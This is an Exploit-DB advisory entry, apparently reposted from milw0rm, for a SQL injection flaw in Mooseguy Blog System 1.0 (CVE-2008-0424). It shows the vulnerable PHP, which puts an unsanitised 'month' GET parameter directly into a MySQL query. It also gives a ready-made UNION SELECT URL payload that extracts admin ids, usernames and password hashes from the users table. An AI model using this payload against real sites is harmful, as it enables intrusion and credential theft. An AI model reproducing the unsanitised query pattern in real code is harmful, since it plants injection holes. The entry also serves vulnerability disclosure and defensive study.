Mooseguy Blog System 1.0 - 'month' SQL Injection

Author: The_HuliGun
type: webapps
platform: php
port: 
date_added: 2008-01-20 
date_updated: 2016-11-14 
verified: 1 
codes: OSVDB-40959;CVE-2008-0424 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.commgbs_1.0.zip

# MGBS 1.0 Remote SQL injection

# Script url http://sourceforge.net/project/showfiles.php?group_id=193233

# Vulnerable code in blog.php

 <?php
   $month = $_GET['month'];
   $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");
   ...

# Admin hash exploit

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*

# Bug discovered by The_HuliGun

# Greetz to: forum.antichat.ru

# milw0rm.com [2008-01-21]